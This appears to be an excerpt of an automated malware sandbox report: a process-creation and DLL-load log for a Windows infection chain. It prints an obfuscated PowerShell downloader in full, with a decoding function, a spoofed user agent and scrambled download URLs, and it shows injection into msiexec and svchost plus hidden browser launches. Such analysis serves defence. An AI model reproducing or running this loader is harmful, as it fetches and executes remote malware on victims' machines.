AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chr83C0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/20442955"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2332,i,10028709547936440876,11237033712603791372,262144 /prefetch:8
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chr8AD6.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/a1d56f56"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2040,i,14070715780729818373,9332717717908022524,262144 /prefetch:3
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chr83C0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/20442955"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chr8AD6.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a52e5cd8/a1d56f56"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2332,i,10028709547936440876,11237033712603791372,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2040,i,14070715780729818373,9332717717908022524,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
